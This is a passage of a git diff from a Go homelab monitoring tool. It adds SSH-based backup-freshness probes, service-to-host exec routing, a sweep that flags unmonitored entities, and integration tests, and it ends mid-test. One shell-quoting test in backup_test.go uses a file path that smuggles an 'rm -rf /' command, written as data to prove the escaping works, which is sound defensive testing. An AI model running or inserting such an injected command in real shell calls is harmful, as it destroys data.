mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'ws:mini','workstation','mini','active','{"lan_ip":"192.168.178.182","user":"dtoro"}'::jsonb,1,now(),now())`, hid)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, hid, "workstation", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||
}
|
||||
if et.Host != "192.168.178.182" {
|
||||
t.Errorf("Host = %q, want 192.168.178.182", et.Host)
|
||||
}
|
||||
// Workstation's top-level `user` must be honored (the mac-mini fix).
|
||||
if et.User != "dtoro" {
|
||||
t.Errorf("User = %q, want dtoro (top-level user attr)", et.User)
|
||||
}
|
||||
if cmd := et.Wrap("uptime"); cmd != "uptime" {
|
||||
t.Errorf("host wrap must be identity, got %q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckServiceRoutesViaHostingGuest(t *testing.T) {
|
||||
// A service has no address of its own; it must route through its hosting
|
||||
// LXC via the provides edge, host-hopping through the LXC's proxmox host.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hostID := uuid.New()
|
||||
guestID := uuid.New()
|
||||
svcID := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'lxc:gitea','lxc','gitea','active','{"pve_id":"104","lan_ip":"192.168.8.121"}'::jsonb,1,now(),now())`, guestID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:gitea','service','gitea','active','{}'::jsonb,1,now(),now())`, svcID)
|
||||
// provides: lxc -> service; hosts: proxmox-host -> lxc
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'provides',now(),now())`, guestID, svcID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, svcID, "service", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck for service: %v", err)
|
||||
}
|
||||
// Reaches the proxmox host (host-hop), wrapped as pct exec into the guest.
|
||||
if et.Host != "192.168.8.77" {
|
||||
t.Errorf("Host = %q, want proxmox host 192.168.8.77 (via provides->hosts)", et.Host)
|
||||
}
|
||||
if out := et.Wrap("p"); !strings.Contains(out, "pct exec 104") {
|
||||
t.Errorf("service check must wrap as pct exec 104, got %q", out)
|
||||
}
|
||||
}
|
||||
68
internal/remote/testutil_test.go
Normal file
68
internal/remote/testutil_test.go
Normal file
@@ -0,0 +1,68 @@
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// createTestDB provisions a throwaway migrated database off baseURL, the same
|
||||
// convention as internal/scheduler/coverage_test.go. The base URL must point
|
||||
// at a Postgres superuser-capable connection.
|
||||
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_rem_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
func getenvOrDefault(key, def string) string {
|
||||
if v := os.Getenv(key); v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||
t.Fatalf("exec %s: %v", q, err)
|
||||
}
|
||||
}
|
||||
116
internal/scheduler/backup.go
Normal file
116
internal/scheduler/backup.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
)
|
||||
|
||||
// checkBackupFreshness reports whether a backup target has a recent artifact.
|
||||
//
|
||||
// The ontology has carried a `backup-target` type and a `backs-up-to` edge
|
||||
// since the first seed, but nothing ever verified that a backup actually
|
||||
// happened — a silent backup failure looked exactly like a working one. This
|
||||
// makes staleness a Signal like any other, so it flows through the existing
|
||||
// dedup, auto-resolve and notifier path rather than needing its own machinery.
|
||||
//
|
||||
// Config: {"path": "/opt/oikos/backups", "max_age_s": 86400, "host": …}
|
||||
//
|
||||
// Deliberately uses `find -mmin` rather than `-printf '%T@'` or `stat`:
|
||||
// -printf is GNU-only and stat's format flag differs between GNU (-c) and BSD
|
||||
// (-f). The first real target for this check is the pre-deploy pg_dump on the
|
||||
// mac-mini, which is macOS — so a GNU-only probe would have silently reported
|
||||
// "unknown" on the one target that motivated the check.
|
||||
func checkBackupFreshness(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Path string `json:"path"`
|
||||
MaxAgeS int `json:"max_age_s"`
|
||||
Host string `json:"host"`
|
||||
User string `json:"user"`
|
||||
Port int `json:"port"`
|
||||
}{
|
||||
MaxAgeS: 86400, // a daily backup that has not run in 24h is stale
|
||||
}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
}
|
||||
if cfg.Path == "" || cfg.Host == "" {
|
||||
return checkResult{health: "unknown", signalKind: "backup-misconfigured",
|
||||
evidence: "backup check needs both a path and a host"}
|
||||
}
|
||||
if cfg.Port == 0 {
|
||||
cfg.Port = 22
|
||||
}
|
||||
if cfg.User == "" {
|
||||
cfg.User = sshUser
|
||||
}
|
||||
if cfg.MaxAgeS <= 0 {
|
||||
cfg.MaxAgeS = 86400
|
||||
}
|
||||
|
||||
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||
if timeout <= 0 {
|
||||
timeout = 30 * time.Second
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
minutes := cfg.MaxAgeS / 60
|
||||
if minutes < 1 {
|
||||
minutes = 1
|
||||
}
|
||||
quoted := shellSingleQuote(cfg.Path)
|
||||
|
||||
// Two questions in one round trip: is there anything at all, and is any of
|
||||
// it recent? "no backups ever" and "backups stopped" are different
|
||||
// failures and deserve different severities.
|
||||
cmd := fmt.Sprintf(
|
||||
`if [ ! -d %s ]; then echo missing; else `+
|
||||
`f=$(find %s -type f -mmin -%d 2>/dev/null | head -1); `+
|
||||
`a=$(find %s -type f 2>/dev/null | head -1); `+
|
||||
`if [ -n "$f" ]; then echo fresh; elif [ -n "$a" ]; then echo stale; else echo empty; fi; fi`,
|
||||
quoted, quoted, minutes, quoted)
|
||||
|
||||
out, err := sshExec(ctx, cfg.Host, strconv.Itoa(cfg.Port), cfg.User, cmd, timeout)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
health: "unknown", signalKind: "backup-unreachable",
|
||||
evidence: fmt.Sprintf("ssh %s: %v", cfg.Host, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
|
||||
age := time.Duration(cfg.MaxAgeS) * time.Second
|
||||
switch strings.TrimSpace(string(out)) {
|
||||
case "fresh":
|
||||
return checkResult{health: "healthy"}
|
||||
case "stale":
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "backup-stale",
|
||||
evidence: fmt.Sprintf("no backup in %s under %s on %s", age, cfg.Path, cfg.Host),
|
||||
}
|
||||
case "empty":
|
||||
return checkResult{
|
||||
health: "down", signalKind: "backup-missing",
|
||||
evidence: fmt.Sprintf("%s on %s exists but contains no files", cfg.Path, cfg.Host),
|
||||
}
|
||||
case "missing":
|
||||
return checkResult{
|
||||
health: "down", signalKind: "backup-missing",
|
||||
evidence: fmt.Sprintf("backup directory %s does not exist on %s", cfg.Path, cfg.Host),
|
||||
}
|
||||
}
|
||||
return checkResult{health: "unknown", signalKind: "backup-unreachable",
|
||||
evidence: fmt.Sprintf("unexpected probe output: %q", strings.TrimSpace(string(out)))}
|
||||
}
|
||||
|
||||
// shellSingleQuote makes a path safe to embed in the remote sh command. Paths
|
||||
// come from check_defs config, which an operator or the agent can write.
|
||||
func shellSingleQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
|
||||
}
|
||||
101
internal/scheduler/backup_test.go
Normal file
101
internal/scheduler/backup_test.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
)
|
||||
|
||||
func backupCheckDef(t *testing.T, config string) sqlcgen.ListEnabledCheckDefsRow {
|
||||
t.Helper()
|
||||
return sqlcgen.ListEnabledCheckDefsRow{
|
||||
Kind: "backup-freshness",
|
||||
Config: []byte(config),
|
||||
TimeoutS: 15,
|
||||
}
|
||||
}
|
||||
|
||||
// A misconfigured check must say so rather than quietly reporting healthy —
|
||||
// "no path configured" and "backup ran fine" must never look the same.
|
||||
func TestBackupFreshnessRejectsIncompleteConfig(t *testing.T) {
|
||||
for _, c := range []struct{ desc, config string }{
|
||||
{"no path", `{"host":"localhost"}`},
|
||||
{"no host", `{"path":"/tmp"}`},
|
||||
{"empty", `{}`},
|
||||
} {
|
||||
got := checkBackupFreshness(context.Background(), backupCheckDef(t, c.config))
|
||||
if got.health != "unknown" || got.signalKind != "backup-misconfigured" {
|
||||
t.Errorf("%s: got health=%q kind=%q, want unknown/backup-misconfigured",
|
||||
c.desc, got.health, got.signalKind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Live probe against a real SSH endpoint. Guarded by OIKOS_SSH_TEST_HOST:
|
||||
//
|
||||
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/scheduler/ -run TestBackupFreshnessLive
|
||||
//
|
||||
// The probe shell has to work on both GNU and BSD find — the first real target
|
||||
// is the pre-deploy pg_dump on the macOS mac-mini, so a GNU-only construct
|
||||
// would fail exactly where it matters.
|
||||
func TestBackupFreshnessLiveDistinguishesTheFourStates(t *testing.T) {
|
||||
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||
if host == "" {
|
||||
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live backup probe")
|
||||
}
|
||||
sshKeyPath = os.Getenv("OIKOS_SSH_KEY_PATH")
|
||||
sshUser = os.Getenv("OIKOS_SSH_USER")
|
||||
|
||||
dir := t.TempDir()
|
||||
fresh := filepath.Join(dir, "fresh")
|
||||
stale := filepath.Join(dir, "stale")
|
||||
empty := filepath.Join(dir, "empty")
|
||||
for _, d := range []string{fresh, stale, empty} {
|
||||
if err := os.Mkdir(d, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(fresh, "dump.sql"), []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
oldFile := filepath.Join(stale, "dump.sql")
|
||||
if err := os.WriteFile(oldFile, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
old := time.Now().Add(-72 * time.Hour)
|
||||
if err := os.Chtimes(oldFile, old, old); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
cases := []struct {
|
||||
desc, path, wantHealth, wantKind string
|
||||
}{
|
||||
{"recent artifact", fresh, "healthy", ""},
|
||||
{"artifact older than max_age", stale, "degraded", "backup-stale"},
|
||||
{"directory exists but is empty", empty, "down", "backup-missing"},
|
||||
{"directory does not exist", filepath.Join(dir, "nope"), "down", "backup-missing"},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
cfg := `{"host":"` + host + `","path":"` + c.path + `","max_age_s":86400}`
|
||||
got := checkBackupFreshness(context.Background(), backupCheckDef(t, cfg))
|
||||
if got.health != c.wantHealth || got.signalKind != c.wantKind {
|
||||
t.Errorf("%s: got health=%q kind=%q evidence=%q, want %q/%q",
|
||||
c.desc, got.health, got.signalKind, got.evidence, c.wantHealth, c.wantKind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A path with a quote in it must not break out of the remote sh command.
|
||||
func TestShellSingleQuoteEscapes(t *testing.T) {
|
||||
got := shellSingleQuote(`/tmp/it's; rm -rf /`)
|
||||
want := `'/tmp/it'\''s; rm -rf /'`
|
||||
if got != want {
|
||||
t.Errorf("shellSingleQuote = %s, want %s", got, want)
|
||||
}
|
||||
}
|
||||
200
internal/scheduler/coverage.go
Normal file
200
internal/scheduler/coverage.go
Normal file
@@ -0,0 +1,200 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// UnmonitoredKind is the signal kind raised for an entity whose type declares
|
||||
// monitoring it does not have.
|
||||
const UnmonitoredKind = "unmonitored"
|
||||
|
||||
// coverageSweep reports entities that should be monitored and are not.
|
||||
//
|
||||
// staleSweep can only protect an entity that already has a check — it INNER
|
||||
// JOINs check_defs, so an entity with none is structurally invisible to it and
|
||||
// keeps reporting its last-known health forever. This sweep covers the other
|
||||
// half: it notices the absence itself.
|
||||
//
|
||||
// It fires only where the entity type *declares* monitoring. Types that
|
||||
// declare `monitoring: none` (site, cluster, lan, mesh — topological groupings
|
||||
// with nothing to probe) are working as intended and must never raise a
|
||||
// signal; a permanent unresolvable warning against six healthy entities would
|
||||
// discredit the whole thing. Types that declare nothing at all are a modelling
|
||||
// gap, reported once per pass at debug level rather than as a fleet problem.
|
||||
func coverageSweep(ctx context.Context, pool *db.Pool) {
|
||||
// Resolution walks parent_type — inheriting types (lxc, proxmox-host, lan)
|
||||
// carry NULL in their own monitoring_spec column, so reading it directly
|
||||
// would flag every one of them. Reuse the Go resolver instead of
|
||||
// duplicating the hierarchy walk in SQL.
|
||||
tx, err := pool.Begin(ctx)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: coverage sweep begin", "error", err)
|
||||
return
|
||||
}
|
||||
tree, err := db.LoadTypeTree(ctx, tx)
|
||||
if err != nil {
|
||||
_ = tx.Rollback(ctx)
|
||||
slog.Error("scheduler: coverage sweep load type tree", "error", err)
|
||||
return
|
||||
}
|
||||
_ = tx.Rollback(ctx) // read-only
|
||||
|
||||
rows, err := pool.Query(ctx, `
|
||||
SELECT e.id, e.slug, e.type, (cd.target_id IS NOT NULL) AS has_check
|
||||
FROM entities e
|
||||
LEFT JOIN (
|
||||
SELECT DISTINCT target_id FROM check_defs
|
||||
WHERE enabled AND target_id IS NOT NULL
|
||||
) cd ON cd.target_id = e.id
|
||||
WHERE e.state = 'active' AND e.type <> 'check'`)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: coverage sweep query", "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
type entity struct {
|
||||
id uuid.UUID
|
||||
slug string
|
||||
typ string
|
||||
hasCheck bool
|
||||
}
|
||||
var all []entity
|
||||
for rows.Next() {
|
||||
var e entity
|
||||
if err := rows.Scan(&e.id, &e.slug, &e.typ, &e.hasCheck); err != nil {
|
||||
continue
|
||||
}
|
||||
all = append(all, e)
|
||||
}
|
||||
rows.Close()
|
||||
if rows.Err() != nil {
|
||||
slog.Error("scheduler: coverage sweep scan", "error", rows.Err())
|
||||
return
|
||||
}
|
||||
|
||||
var raised, resolved, undeclared int
|
||||
for _, e := range all {
|
||||
mon := tree.Monitoring(e.typ)
|
||||
|
||||
switch {
|
||||
case !mon.Declared:
|
||||
undeclared++
|
||||
case mon.None():
|
||||
// Explicitly unmonitorable. Nothing to raise — but a type that
|
||||
// USED to declare monitoring (e.g. dns-zone, [dns]→none) may have
|
||||
// open `unmonitored` signals from before the change. They are no
|
||||
// longer a gap, so close them; otherwise they linger forever,
|
||||
// because resolveCoverageSignal only runs from the hasCheck path
|
||||
// and a None() entity never gains a check.
|
||||
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||
resolved++
|
||||
slog.Info("scheduler: type now unmonitorable, resolving stale signal", "entity", e.slug)
|
||||
}
|
||||
case e.hasCheck:
|
||||
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||
resolved++
|
||||
slog.Info("scheduler: entity is monitored again", "entity", e.slug)
|
||||
}
|
||||
default:
|
||||
if raiseCoverageSignal(ctx, pool, e.id, e.slug, e.typ, mon.Kinds) {
|
||||
raised++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if raised > 0 || resolved > 0 {
|
||||
slog.Warn("scheduler: coverage sweep",
|
||||
"unmonitored_raised", raised, "resolved", resolved, "scanned", len(all))
|
||||
}
|
||||
if undeclared > 0 {
|
||||
slog.Debug("scheduler: entity types declare no monitoring", "entities", undeclared)
|
||||
}
|
||||
}
|
||||
|
||||
// raiseCoverageSignal raises (or refreshes) the unmonitored signal for one
|
||||
// entity. Reports whether this was a new raise.
|
||||
func raiseCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID, slug, typ string, want []string) bool {
|
||||
// A signal is a dual entity: signals.entity_id is a PK referencing
|
||||
// entities(id), so the row has to exist first. The scheduler's other
|
||||
// signals borrow the check entity's id — there is no check here, which is
|
||||
// the whole point, so this sweep owns a signal entity per target.
|
||||
//
|
||||
// The slug is stable per target, which makes the signal row stable too and
|
||||
// lets a resolved signal be re-raised by primary key rather than colliding
|
||||
// with it.
|
||||
signalSlug := fmt.Sprintf("signal:%s:%s", UnmonitoredKind, slug)
|
||||
|
||||
newID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
newID = uuid.New()
|
||||
}
|
||||
|
||||
var signalID uuid.UUID
|
||||
// Upsert RETURNING id, never insert-and-assume: assuming is what made
|
||||
// checkdefaults write foreign keys to rows it had not created.
|
||||
if err := pool.QueryRow(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'signal', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||
RETURNING id`,
|
||||
newID, signalSlug).Scan(&signalID); err != nil {
|
||||
slog.Error("scheduler: upsert signal entity", "entity", slug, "error", err)
|
||||
return false
|
||||
}
|
||||
|
||||
evidence := fmt.Sprintf("type %s declares monitoring %v but the entity has no enabled check_def", typ, want)
|
||||
|
||||
// Conflict on the primary key rather than on the (target, kind) partial
|
||||
// index: that index only covers OPEN signals, so a previously resolved
|
||||
// signal would not conflict there and would collide on the PK instead.
|
||||
tag, err := pool.Exec(ctx,
|
||||
`INSERT INTO signals (entity_id, kind, severity, target_entity_id, evidence, state)
|
||||
VALUES ($1, $2, 'warning', $3, $4, 'raised')
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET state = CASE WHEN signals.state IN ('resolved','failed') THEN 'raised' ELSE signals.state END,
|
||||
occurrence_count = signals.occurrence_count + 1,
|
||||
evidence = EXCLUDED.evidence,
|
||||
last_seen_at = now(), updated_at = now()`,
|
||||
signalID, UnmonitoredKind, entityID, evidence)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: raise unmonitored signal", "entity", slug, "error", err)
|
||||
return false
|
||||
}
|
||||
|
||||
// RowsAffected is 1 for both insert and update, so ask the signal itself
|
||||
// whether this was the first occurrence.
|
||||
var occurrences int
|
||||
if err := pool.QueryRow(ctx,
|
||||
`SELECT occurrence_count FROM signals WHERE entity_id = $1`, signalID).Scan(&occurrences); err != nil {
|
||||
return tag.RowsAffected() > 0
|
||||
}
|
||||
if occurrences <= 1 {
|
||||
slog.Warn("scheduler: entity is unmonitored",
|
||||
"entity", slug, "type", typ, "declared", want)
|
||||
emitSchedulerEvent(ctx, pool, "coverage.unmonitored", entityID, "warning",
|
||||
map[string]any{"slug": slug, "type": typ, "declared": want})
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// resolveCoverageSignal closes the unmonitored signal once the entity has a
|
||||
// check. The scheduler's normal auto-resolve keys on the *check* entity id and
|
||||
// only from state 'raised', so it can never clear one of these.
|
||||
func resolveCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID) bool {
|
||||
tag, err := pool.Exec(ctx,
|
||||
`UPDATE signals SET state = 'resolved', updated_at = now()
|
||||
WHERE target_entity_id = $1 AND kind = $2
|
||||
AND state NOT IN ('resolved', 'failed')`,
|
||||
entityID, UnmonitoredKind)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: resolve unmonitored signal", "error", err)
|
||||
return false
|
||||
}
|
||||
return tag.RowsAffected() > 0
|
||||
}
|
||||
309
internal/scheduler/coverage_test.go
Normal file
309
internal/scheduler/coverage_test.go
Normal file
@@ -0,0 +1,309 @@
|
||||
package scheduler
|
||||
|
||||
// Integration tests for coverageSweep against a real TimescaleDB. Guarded by
|
||||
// OIKOS_TEST_DATABASE_URL — skipped when unset, same convention as
|
||||
// internal/db/integration_test.go. Each run creates a throwaway database.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
func newCoveragePool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||
if baseURL == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_cov_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
// fixture builds the four cases that matter, without the full seed:
|
||||
// a declared+monitored type, a declared+unmonitored one, an explicitly
|
||||
// unmonitorable one, and one that inherits its declaration from a parent.
|
||||
func coverageFixture(t *testing.T, pool *db.Pool) map[string]uuid.UUID {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
exec := func(sql string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, sql, args...); err != nil {
|
||||
t.Fatalf("fixture %q: %v", sql, err)
|
||||
}
|
||||
}
|
||||
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-container', NULL, true, 'compute', 'infrastructure', '["resource"]', 'active')
|
||||
ON CONFLICT (name) DO UPDATE SET monitoring_spec = EXCLUDED.monitoring_spec`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-lxc', 't-container', false, 'compute', 'infrastructure', NULL, 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-service', NULL, false, 'software', 'infrastructure', '["http"]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-site', NULL, false, 'physical', 'infrastructure', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
// `check` and `signal` normally arrive with the ontology seed, which this
|
||||
// fixture skips; the sweep creates signal entities and needs both.
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('check', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('signal', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
|
||||
ids := map[string]uuid.UUID{}
|
||||
for _, e := range []struct{ slug, typ string }{
|
||||
{"monitored-svc", "t-service"}, // declared + has a check
|
||||
{"unmonitored-svc", "t-service"}, // declared + no check → signal
|
||||
{"inheriting-lxc", "t-lxc"}, // inherits [resource], no check → signal
|
||||
{"a-site", "t-site"}, // explicitly none → never a signal
|
||||
} {
|
||||
id := uuid.New()
|
||||
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,$2,$3,$2,'active','{}',1,now(),now())`, id, e.slug, e.typ)
|
||||
ids[e.slug] = id
|
||||
}
|
||||
|
||||
// Only monitored-svc gets a check.
|
||||
checkID := uuid.New()
|
||||
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:t:monitored-svc:0','check','c-monitored-svc','active','{}',1,now(),now())`, checkID)
|
||||
exec(`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["monitored-svc"])
|
||||
|
||||
return ids
|
||||
}
|
||||
|
||||
func openSignals(t *testing.T, pool *db.Pool, targetID uuid.UUID) (int, int) {
|
||||
t.Helper()
|
||||
var count, occurrences int
|
||||
err := pool.QueryRow(context.Background(),
|
||||
`SELECT count(*), COALESCE(max(occurrence_count),0) FROM signals
|
||||
WHERE target_entity_id = $1 AND kind = $2 AND state NOT IN ('resolved','failed')`,
|
||||
targetID, UnmonitoredKind).Scan(&count, &occurrences)
|
||||
if err != nil {
|
||||
t.Fatalf("count signals: %v", err)
|
||||
}
|
||||
return count, occurrences
|
||||
}
|
||||
|
||||
func TestCoverageSweepOnlyFlagsDeclaredButUnmonitored(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
for _, c := range []struct {
|
||||
slug string
|
||||
want int
|
||||
why string
|
||||
}{
|
||||
{"unmonitored-svc", 1, "declares http, has no check"},
|
||||
{"inheriting-lxc", 1, "inherits [resource] from its parent, has no check"},
|
||||
{"monitored-svc", 0, "has a check"},
|
||||
{"a-site", 0, "declares monitoring: none — flagging it would be a permanent false positive"},
|
||||
} {
|
||||
got, _ := openSignals(t, pool, ids[c.slug])
|
||||
if got != c.want {
|
||||
t.Errorf("%s (%s): %d open unmonitored signals, want %d", c.slug, c.why, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoverageSweepDedupsRatherThanDuplicating(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
